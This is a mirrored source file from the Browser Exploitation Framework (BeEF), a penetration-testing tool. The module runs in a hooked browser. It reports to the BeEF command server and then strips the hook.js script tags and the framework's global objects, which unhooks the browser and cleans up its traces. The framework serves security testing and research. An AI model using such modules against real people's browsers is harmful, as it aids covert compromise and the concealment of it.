Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/unhook/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent unhook request");
10
11
// remove script tag(s)
12
try {
13
var scripts = document.getElementsByTagName("script");
14
for (var i=0; i<scripts.length; i++) {
15
if (scripts[i].src.match(/https?:\/\/[^\/]+\/hook\.js/)) {
16
scripts[i].parentNode.removeChild(scripts[i]);
17
}
18
}
19
} catch (e) { }
20
21
// attempt to clean up DOM
22
try {
23
delete beef;
24
delete BEEFHOOK;
25
beef_init=null;
26
BeefJS=null;
27
} catch (e) { }
28
29
});
30
31
32